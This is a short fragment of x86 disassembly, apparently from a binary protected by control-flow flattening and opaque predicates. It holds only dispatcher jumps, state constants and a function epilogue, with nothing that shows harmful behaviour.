mov ebx, 0xd7e1721
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
test cl, cl
cmove eax, edx
jmp 0x4f8c10
cmp eax, 0xda51e8f7
je 0x4f8ca6
cmp eax, 0xd7e1721
jne 0x4f8c10
mov ecx, edi
push dword [esi + 4]
call fcn.004f9450
mov eax, dword [0x5d1360]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xda51e8f7
mov ebx, 0x870fbd8e
cmove eax, ebx
cmp dword [0x5d1364], 0xa
mov edx, 0xda51e8f7
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x4f8c10
mov ecx, edi
push dword [esi + 4]
call fcn.004f9450
mov eax, 0xd7e1721
jmp 0x4f8c10
lea ecx, [esi + 8]
call fcn.004966c0
mov eax, dword [esi + 0x38]
mov dword fs:[0], eax
mov eax, dword [esi + 4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4